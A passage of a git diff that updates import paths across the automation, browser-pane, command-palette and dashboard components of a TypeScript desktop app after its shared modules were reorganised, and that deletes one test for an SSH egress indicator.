a/src/renderer/src/components/automations/hosts/automation-authority-identity.ts +++ b/src/renderer/src/components/automations/hosts/automation-authority-identity.ts @@ -8,7 +8,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' type RepoConnection = Pick diff --git a/src/renderer/src/components/automations/hosts/automation-host-catalog.ts b/src/renderer/src/components/automations/hosts/automation-host-catalog.ts index cc994d823fc..c7d07edaa44 100644 --- a/src/renderer/src/components/automations/hosts/automation-host-catalog.ts +++ b/src/renderer/src/components/automations/hosts/automation-host-catalog.ts @@ -8,7 +8,7 @@ import type { StableAutomationAuthorityRef, StableAutomationCatalogRef } from '../../../../../shared/automations/ownership/automation-owner-ref' -import { isOwnedSshTargetId } from '../../../../../shared/execution-host' +import { isOwnedSshTargetId } from '../../../../../shared/execution-host/execution-host' import { automationAuthorityCatalogKey, type AutomationCatalogSshMirrorInput, diff --git a/src/renderer/src/components/automations/hosts/automation-host-client.ts b/src/renderer/src/components/automations/hosts/automation-host-client.ts index 5c26da354ee..76b05e29937 100644 --- a/src/renderer/src/components/automations/hosts/automation-host-client.ts +++ b/src/renderer/src/components/automations/hosts/automation-host-client.ts @@ -8,8 +8,8 @@ import type { } from '../../../../../shared/automations/automation-definition' import type { AutomationRun } from '../../../../../shared/automations/history/automation-run' import type { StableAutomationAuthorityRef } from '../../../../../shared/automations/ownership/automation-owner-ref' -import { parseExecutionHostId } from '../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' type RuntimeAutomationCreateInput = Omit< AutomationCreateInput, diff --git a/src/renderer/src/components/automations/hosts/automation-host-detail-display.ts b/src/renderer/src/components/automations/hosts/automation-host-detail-display.ts index c9c4eba9114..3e96cc34358 100644 --- a/src/renderer/src/components/automations/hosts/automation-host-detail-display.ts +++ b/src/renderer/src/components/automations/hosts/automation-host-detail-display.ts @@ -1,7 +1,10 @@ // Use the catalog row’s storage host: a record’s local target means local to its server. Fall back to that target only for uncaptured legacy rows. import type { Automation } from '../../../../../shared/automations/automation-definition' -import { getExecutionHostLabel, toSshExecutionHostId } from '../../../../../shared/execution-host' +import { + getExecutionHostLabel, + toSshExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { AutomationHostCatalogEntry } from './automation-host-catalog-types' export type AutomationHostDetailDisplay = { diff --git a/src/renderer/src/components/automations/hosts/automation-run-context-host-match.ts b/src/renderer/src/components/automations/hosts/automation-run-context-host-match.ts index 4a3ca54bd72..6faf6d459d3 100644 --- a/src/renderer/src/components/automations/hosts/automation-run-context-host-match.ts +++ b/src/renderer/src/components/automations/hosts/automation-run-context-host-match.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' function getRuntimeTargetHostId(target: AutomationHostTarget | null | undefined): string | null { return target?.kind === 'environment' diff --git a/src/renderer/src/components/automations/hosts/automation-target-availability.ts b/src/renderer/src/components/automations/hosts/automation-target-availability.ts index 2c0e6b120aa..23b2759ecf9 100644 --- a/src/renderer/src/components/automations/hosts/automation-target-availability.ts +++ b/src/renderer/src/components/automations/hosts/automation-target-availability.ts @@ -3,7 +3,7 @@ import { type AutomationCapturedOwner } from './automation-captured-owner' import type { Automation } from '../../../../../shared/automations/automation-definition' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { setupHostMatchesRunContext, repoHostMatchesRunContext diff --git a/src/renderer/src/components/automations/listing/automation-list-host.ts b/src/renderer/src/components/automations/listing/automation-list-host.ts index 9d4d849cf38..98caec9126a 100644 --- a/src/renderer/src/components/automations/listing/automation-list-host.ts +++ b/src/renderer/src/components/automations/listing/automation-list-host.ts @@ -3,7 +3,7 @@ import { getExecutionHostLabel, getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { AutomationListRow } from './automation-list-row-identity' import type { Translate } from '@/i18n/use-translate' import type { ExternalAutomationListEntry } from '../external/external-automation-list-entries' diff --git a/src/renderer/src/components/automations/listing/automation-list-row-identity.ts b/src/renderer/src/components/automations/listing/automation-list-row-identity.ts index 73a604fd6c0..241bc460a8f 100644 --- a/src/renderer/src/components/automations/listing/automation-list-row-identity.ts +++ b/src/renderer/src/components/automations/listing/automation-list-row-identity.ts @@ -12,7 +12,7 @@ import { toSshExecutionHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { resolveQualifiedFolderWorkspaceResult, type QualifiedFolderHostState diff --git a/src/renderer/src/components/automations/runs/AutomationRunsDashboardSurface.tsx b/src/renderer/src/components/automations/runs/AutomationRunsDashboardSurface.tsx index 0be5dc3b625..45e53624738 100644 --- a/src/renderer/src/components/automations/runs/AutomationRunsDashboardSurface.tsx +++ b/src/renderer/src/components/automations/runs/AutomationRunsDashboardSurface.tsx @@ -1,5 +1,5 @@ import React from 'react' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../shared/worktree/types' import type { AutomationListRow } from '../listing/automation-list-row-identity' import type { diff --git a/src/renderer/src/components/automations/runs/automation-run-open-target.ts b/src/renderer/src/components/automations/runs/automation-run-open-target.ts index dad6236debf..706eea4bc9d 100644 --- a/src/renderer/src/components/automations/runs/automation-run-open-target.ts +++ b/src/renderer/src/components/automations/runs/automation-run-open-target.ts @@ -15,7 +15,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { AutomationAuthorityRef } from '../../../../../shared/automations/ownership/automation-owner-ref' import type { AppState } from '@/store/types' import { diff --git a/src/renderer/src/components/automations/runs/automation-runs-dashboard-model.ts b/src/renderer/src/components/automations/runs/automation-runs-dashboard-model.ts index 1e12fc23c9c..963aa7c9a85 100644 --- a/src/renderer/src/components/automations/runs/automation-runs-dashboard-model.ts +++ b/src/renderer/src/components/automations/runs/automation-runs-dashboard-model.ts @@ -3,7 +3,7 @@ import type { AutomationRunStatus } from '../../../../../shared/automations/history/automation-run' import type { AutomationRunWorkspaceRecord } from './automation-run-view-state' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { AutomationActionNotice } from '../hosts/automation-row-action-dispatch' import type { AutomationListRow } from '../listing/automation-list-row-identity' diff --git a/src/renderer/src/components/automations/use-automations-page-presentation-state.ts b/src/renderer/src/components/automations/use-automations-page-presentation-state.ts index d754485113f..7a3ab21d65d 100644 --- a/src/renderer/src/components/automations/use-automations-page-presentation-state.ts +++ b/src/renderer/src/components/automations/use-automations-page-presentation-state.ts @@ -1,6 +1,9 @@ import { capturedAutomationOwner } from './hosts/automation-captured-owner' import { useCallback, useEffect, useMemo } from 'react' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getHostDisplayLabelOverrides } from '../../../../shared/execution-host/host-setting-overrides' import type { Repo } from '../../../../shared/repository/repo-types' import { getAutomationTargetAvailability } from './hosts/automation-target-availability' diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-pane.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-pane.tsx index b3b652ad3d9..58470d245a7 100644 --- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-pane.tsx +++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-page-pane.tsx @@ -5,7 +5,7 @@ import '@/lib/workspace/ownership/connection-context' import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' import { useAppStore } from '@/store/index' import { useShortcutLabel } from '@/hooks/useShortcutLabel' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { normalizeExternalBrowserUrl } from '../../../../../shared/browser/navigation/browser-url' import { getLiveBrowserUrl } from '../describe-page/live-browser-url-registry' diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.test.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.test.tsx deleted file mode 100644 index ac0279a9501..00000000000 --- a/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.test.tsx +++ /dev/null @@ -1,72 +0,0 @@ -// @vitest-environment happy-dom -import { cleanup, render, screen } from '@testing-library/react' -import { afterEach, beforeEach, expect, it } from 'vitest' -import '@/store/testing/app-store-test-fixture' -import { useAppStore } from '@/store/index' -import { TooltipProvider } from '@/components/ui/tooltip' -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' -import { getDefaultSettings } from '../../../../../../shared/constants' -import { SshEgressIndicator } from './browser-egress-indicator' - -const WORKSPACE = 'repo1::/repo' -const initialState = useAppStore.getInitialState() - -beforeEach(() => { - useAppStore.setState( - { - ...initialState, - settings: { - ...getDefaultSettings('/home/test'), - browserSshWorkspaceRoutingDisabledTargetIds: ['box'], - hostSettingOverrides: { 'runtime:env-box': { displayLabel: 'Build box' } } - }, - sshTargetLabels: new Map(), - worktreesByRepo: { - repo1: [ - makeWorktree({ - id: WORKSPACE, - repoId: 'repo1', - path: '/repo', - hostId: 'runtime:env-box', - runtimeOwnerEnvironmentId: 'env-box' - }) - ] - }, - runtimeEnvironments: [ - { - id: 'env-box', - name: 'Box', - createdAt: 1, - updatedAt: 1, - lastUsedAt: null, - runtimeId: null, - endpoints: [ - { id: 'ws', kind: 'websocket', label: 'Box', endpoint: 'ws://127.0.0.1:46768/' } - ], - preferredEndpointId: 'ws', - orcadDeployment: { - sshTargetId: 'box', - sshTargetGeneration: 1, - localPort: 46_768, - remotePort: 6_768 - } - } - ] - }, - true - ) -}) - -afterEach(cleanup) - -it('shows device browsing for a managed SSH workspace that opts out of SSH routing', () => { - render( - - - - ) - - const indicator = screen.getByTestId('ssh-egress-indicator') - expect(indicator.getAttribute('data-egress')).toBe('local') - expect(indicator.getAttribute('aria-label')).toBe('Browsing from this device, not Build box') -}) diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.tsx index 4ce8862ba6f..71568fb6640 100644 --- a/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.tsx +++ b/src/renderer/src/components/browser-pane/assemble-chrome/feedback/browser-egress-indicator.tsx @@ -13,11 +13,11 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getHostSettingOverride } from '../../../../../../shared/execution-host/host-setting-overrides' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { resolveSshWorkspaceBrowserRouteEligibility } from '@/lib/browser/workspace/ssh-workspace-browser-route-eligibility' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' function runtimeHostLabel( settings: GlobalSettings | null, diff --git a/src/renderer/src/components/browser-pane/browser-reopen-on-server.ts b/src/renderer/src/components/browser-pane/browser-reopen-on-server.ts index 119b85cf3a9..0ef462af060 100644 --- a/src/renderer/src/components/browser-pane/browser-reopen-on-server.ts +++ b/src/renderer/src/components/browser-pane/browser-reopen-on-server.ts @@ -1,5 +1,5 @@ import { normalizeBrowserNavigationUrl } from '../../../../shared/browser/navigation/browser-url' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { createWebRuntimeSessionBrowserTab } from '@/runtime/browser/creation/web-runtime-browser-creation' diff --git a/src/renderer/src/components/browser-pane/describe-page/browser-page-url-display.ts b/src/renderer/src/components/browser-pane/describe-page/browser-page-url-display.ts index 4e719c84fb5..27279451ef6 100644 --- a/src/renderer/src/components/browser-pane/describe-page/browser-page-url-display.ts +++ b/src/renderer/src/components/browser-pane/describe-page/browser-page-url-display.ts @@ -1,6 +1,6 @@ import { issueBrowserGuestNavigation } from '../host-guest/metadata/browser-guest-metadata-cache' import type { BrowserPage as BrowserPageState } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { normalizeBrowserNavigationUrl, normalizeExternalBrowserUrl, diff --git a/src/renderer/src/components/browser-pane/host-guest/lifecycle/bind-browser-page-webview-listeners.ts b/src/renderer/src/components/browser-pane/host-guest/lifecycle/bind-browser-page-webview-listeners.ts index 16cf58edd7e..c80ebb0cf26 100644 --- a/src/renderer/src/components/browser-pane/host-guest/lifecycle/bind-browser-page-webview-listeners.ts +++ b/src/renderer/src/components/browser-pane/host-guest/lifecycle/bind-browser-page-webview-listeners.ts @@ -7,7 +7,7 @@ import { import { getBrowserDisplayTitle } from '../../../../../../shared/browser/browser-display-title' import { publishNativeChatVisualGuestTheme } from '@/components/native-chat/media/visuals/NativeChatVisualGuestThemePublisher' import { normalizeBrowserGuestSrc } from '../../../../../../shared/browser/extensions/browser-extension-url' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { parkBrowserPageViewport } from '../viewport/browser-page-viewport' import { subscribeBrowserSystemResume } from '../recovery/browser-system-resume' diff --git a/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview-loading-handlers.ts b/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview-loading-handlers.ts index 1cfaca8d88f..430104ad9f2 100644 --- a/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview-loading-handlers.ts +++ b/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview-loading-handlers.ts @@ -5,7 +5,7 @@ import { redactKagiSessionToken } from '../../../../../../shared/browser/navigation/browser-url' import type { BrowserLoadError } from '../../../../../../shared/browser/workspaces/browser-workspace-types' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { translate } from '@/i18n/i18n' import { BROWSER_GUEST_RECOVERY_ERROR_CODE } from '../recovery/browser-page-guest-recovery' diff --git a/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview.ts b/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview.ts index cd5cbb4cad7..acfc9c7d47f 100644 --- a/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview.ts +++ b/src/renderer/src/components/browser-pane/host-guest/lifecycle/browser-page-webview.ts @@ -1,4 +1,4 @@ -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { ORCA_BROWSER_PAGE_GUEST_WEB_PREFERENCES_ATTRIBUTE } from '../../../../../../shared/browser/guest-lifecycle/browser-guest-web-preferences' import { registerPersistentWebview, webviewRegistry } from '../webview-registry' diff --git a/src/renderer/src/components/browser-pane/host-guest/lifecycle/use-browser-page-webview-partition.ts b/src/renderer/src/components/browser-pane/host-guest/lifecycle/use-browser-page-webview-partition.ts index 8223448ecc8..89f181ba748 100644 --- a/src/renderer/src/components/browser-pane/host-guest/lifecycle/use-browser-page-webview-partition.ts +++ b/src/renderer/src/components/browser-pane/host-guest/lifecycle/use-browser-page-webview-partition.ts @@ -1,6 +1,6 @@ import { useAppStore } from '@/store' -import '../../../../../../shared/constants' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import '../../../../../../shared/orca-profiles/constants' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { resolveBrowserPagePartition } from '../browser-page-partition' export function useBrowserPageWebviewPartition({ diff --git a/src/renderer/src/components/browser-pane/navigate/navigate-browser-page-url.ts b/src/renderer/src/components/browser-pane/navigate/navigate-browser-page-url.ts index 4b8ec4e484d..6b3d24afd7a 100644 --- a/src/renderer/src/components/browser-pane/navigate/navigate-browser-page-url.ts +++ b/src/renderer/src/components/browser-pane/navigate/navigate-browser-page-url.ts @@ -12,7 +12,7 @@ import { redactKagiSessionToken } from '../../../../../shared/browser/navigation/browser-url' import type { BrowserLoadError } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { BROWSER_GUEST_RECOVERY_ERROR_CODE } from '../host-guest/recovery/browser-page-guest-recovery' import { diff --git a/src/renderer/src/components/browser-pane/navigate/use-browser-page-navigation-downloads.ts b/src/renderer/src/components/browser-pane/navigate/use-browser-page-navigation-downloads.ts index 5e9cc879ec5..65d89e1f465 100644 --- a/src/renderer/src/components/browser-pane/navigate/use-browser-page-navigation-downloads.ts +++ b/src/renderer/src/components/browser-pane/navigate/use-browser-page-navigation-downloads.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { useCallback, useEffect, diff --git a/src/renderer/src/components/browser-pane/navigate/use-browser-page-webview-url-sync.ts b/src/renderer/src/components/browser-pane/navigate/use-browser-page-webview-url-sync.ts index 851104f346d..e112fabc6bf 100644 --- a/src/renderer/src/components/browser-pane/navigate/use-browser-page-webview-url-sync.ts +++ b/src/renderer/src/components/browser-pane/navigate/use-browser-page-webview-url-sync.ts @@ -5,7 +5,7 @@ import { import { useEffect, useLayoutEffect, type MutableRefObject, type RefObject } from 'react' import { useAppStore } from '@/store/index' import { normalizeBrowserNavigationUrl } from '../../../../../shared/browser/navigation/browser-url' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { normalizeBrowserGuestSrc } from '../../../../../shared/browser/extensions/browser-extension-url' import { diff --git a/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-session.ts b/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-session.ts index a4b2d7d5a28..4d307ba8257 100644 --- a/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-session.ts +++ b/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-session.ts @@ -1,7 +1,7 @@ import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { BrowserPageLoadingOwner } from '@/lib/browser/browser-page-loading-ownership' import type { BrowserPageStateWriter } from '../describe-page/browser-page-types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../shared/browser/browser-blank-page' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/workspace-layout/layout-owner-switch' import type { BrowserTabInfo } from '../../../../../shared/browser/runtime/runtime-browser-contracts' diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-artifact-share.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-artifact-share.tsx index 23e3f7d5184..106f72969bf 100644 --- a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-artifact-share.tsx +++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-artifact-share.tsx @@ -2,7 +2,7 @@ import type { ArtifactWriteRequest } from '../../../../../shared/artifacts/artif import { getConnectionExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { DocPreviewGrantOwner } from '../../../../../preload/api/document-preview/doc-preview-api' import { ArtifactPublishButton } from '@/components/artifacts/ArtifactPublishButton' import { ArtifactPublishPreparationError } from '@/components/artifacts/artifact-publish-flow' diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts index 72385fc8cd8..37dbe3a065c 100644 --- a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts +++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { getConnectionIdForFileFromState } from '@/lib/workspace/ownership/connection-owner-resolution' diff --git a/src/renderer/src/components/cmd-j/palette-filter-options.ts b/src/renderer/src/components/cmd-j/palette-filter-options.ts index bb9d1a8a458..4a2183d3327 100644 --- a/src/renderer/src/components/cmd-j/palette-filter-options.ts +++ b/src/renderer/src/components/cmd-j/palette-filter-options.ts @@ -8,7 +8,7 @@ import { getWorktreeExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Project, ProjectHostSetup } from '../../../../shared/project/project-types' import type { Repo } from '../../../../shared/repository/repo-types' import { withoutHiddenRepos } from '../../../../shared/project/catalog/hidden-projects' diff --git a/src/renderer/src/components/cmd-j/palette-filter.ts b/src/renderer/src/components/cmd-j/palette-filter.ts index a23e32dd29d..1fc36d17c6e 100644 --- a/src/renderer/src/components/cmd-j/palette-filter.ts +++ b/src/renderer/src/components/cmd-j/palette-filter.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../shared/worktree/types' import { getVisibleWorkspaceHostIdSet } from '../sidebar/worktree-list/listing/visible-worktree-host-scope' import { resolveWorktreeFilterHostId, type PaletteFilterModel } from './palette-filter-options' diff --git a/src/renderer/src/components/cmd-j/palette-host-badge.ts b/src/renderer/src/components/cmd-j/palette-host-badge.ts index f012a13f264..e64ea049157 100644 --- a/src/renderer/src/components/cmd-j/palette-host-badge.ts +++ b/src/renderer/src/components/cmd-j/palette-host-badge.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { SidebarHostOption } from '../sidebar/worktree-list/controls/sidebar-host-options' import { translateHostDisplayLabel } from '../sidebar/execution-host-label' diff --git a/src/renderer/src/components/cmd-j/task-search-requests.ts b/src/renderer/src/components/cmd-j/task-search-requests.ts index 6a5200548e4..50343768b9c 100644 --- a/src/renderer/src/components/cmd-j/task-search-requests.ts +++ b/src/renderer/src/components/cmd-j/task-search-requests.ts @@ -13,7 +13,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { normalizeTaskSourceContext, @@ -24,7 +24,7 @@ import { type TaskProvider } from '../../../../shared/work-items/task-providers' import type { Repo } from '../../../../shared/repository/repo-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { PaletteFilterState } from './palette-filter' import { getTaskEligibleRepos } from '../task-page/task-page-default-repo-selection' import { getRepoBackedProviderAvailability } from '../task-source-provider-availability' diff --git a/src/renderer/src/components/confirmation-skip-preference.ts b/src/renderer/src/components/confirmation-skip-preference.ts index 302d9701347..5e2dc3e01f0 100644 --- a/src/renderer/src/components/confirmation-skip-preference.ts +++ b/src/renderer/src/components/confirmation-skip-preference.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import type { SettingsNavTarget } from '@/components/settings/navigation/settings-navigation-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' /** Persists the preference and keeps its reversal one click away. */ export function persistConfirmationSkipPreference({ diff --git a/src/renderer/src/components/dashboard/board/DashboardHostBadge.tsx b/src/renderer/src/components/dashboard/board/DashboardHostBadge.tsx index d9bcb8c1256..c1ea9a1d4ea 100644 --- a/src/renderer/src/components/dashboard/board/DashboardHostBadge.tsx +++ b/src/renderer/src/components/dashboard/board/DashboardHostBadge.tsx @@ -4,7 +4,10 @@ import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { cn } from '@/lib/class-names' import type { DashboardCardHostKind } from '../../../../../shared/agent-status/presentation/dashboard-snapshot' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' type DashboardHostBadgeProps = { hostKind?: DashboardCardHostKind diff --git a/src/renderer/src/components/dashboard/settings/AgentDashboardExperimentalSetting.tsx b/src/renderer/src/components/dashboard/settings/AgentDashboardExperimentalSetting.tsx index d866fbe3d45..f1de5b8c498 100644 --- a/src/renderer/src/components/dashboard/settings/AgentDashboardExperimentalSetting.tsx +++ b/src/renderer/src/components/dashboard/settings/AgentDashboardExperimentalSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { Label } from '../../ui/label' import { SearchableSetting } from '../../settings/section-layout/SearchableSetting' diff --git a/src/renderer/src/components/dashboard/settings/AgentDashboardSettingsMenu.tsx b/src/renderer/src/components/dashboard/settings/AgentDashboardSettingsMenu.tsx index ba523f2449e..2c9fcb4b51d 100644 --- a/src/renderer/src/components/dashboard/settings/AgentDashboardSettingsMenu.tsx +++ b/src/renderer/src/components/dashboard/settings/AgentDashboardSettingsMenu.tsx @@ -10,7 +10,7 @@ import { import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { SettingsSegmentedControl } from '../../settings/form-controls/SettingsFormControls' import { Switch } from '@/components/ui/switch' -import type { AgentDashboardMode } from '../../../../../shared/ui-chrome-types' +import type { AgentDashboardMode } from '../../../../../shared/ui-chrome/ui-chrome-types' import { useTranslate } from '@/i18n/use-translate' import { canOpenAgentDashboardPopout } from './agent-dashboard-open-mode' diff --git a/src/renderer/src/components/dashboard/settings/agent-dashboard-open-mode.ts b/src/renderer/src/components/dashboard/settings/agent-dashboard-open-mode.ts index 40957f04ae8..82179c870c5 100644 --- a/src/renderer/src/components/dashboard/settings/agent-dashboard-open-mode.ts +++ b/src/renderer/src/components/dashboard/settings/agent-dashboard-open-mode.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { AgentDashboardMode } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { AgentDashboardMode } from '../../../../../shared/ui-chrome/ui-chrome-types' import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome' /** A browser tab cannot open a second Orca window, so a web client only has the in-window board. */ diff --git a/src/renderer/src/components/dashboard/snapshot/dashboard-card-terminal-input.ts b/src/renderer/src/components/dashboard/snapshot/dashboard-card-terminal-input.ts index 7d7539226b9..6b92855a0f3 100644 --- a/src/renderer/src/components/dashboard/snapshot/dashboard-card-terminal-input.ts +++ b/src/renderer/src/components/dashboard/snapshot/dashboard-card-terminal-input.ts @@ -5,7 +5,7 @@ import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-ag import { toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { parseAppSshPtyId } from '../../../../../shared/remote-runtime/ssh/ssh-pty-id' import '@/lib/workspace/ownership/connection-context' import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' diff --git a/src/renderer/src/components/dashboard/snapshot/dashboard-snapshot-workspaces.ts b/src/renderer/src/components/dashboard/snapshot/dashboard-snapshot-workspaces.ts index 987b683be3d..af117214f43 100644 --- a/src/renderer/src/components/dashboard/snapshot/dashboard-snapshot-workspaces.ts +++ b/src/renderer/src/components/dashboard/snapshot/dashboard-snapshot-workspaces.ts @@ -13,7 +13,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { folderWorkspaceToWorktree } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import { getHostDisplayLabelOverrides } from '../../../../../shared/execution-host/host-setting-overrides' import { isFolderRepo } from '../../../../../shared/repository/repo-kind' diff --git a/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-http-actions.ts b/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-http-actions.ts index 5b74f124a3e..e756bf1890a 100644 --- a/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-http-actions.ts +++ b/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-http-actions.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { intentPresentation } from '@/lib/browser/workspace/workspace-browser-tab-presentation' import { parseAppSshPtyId } from 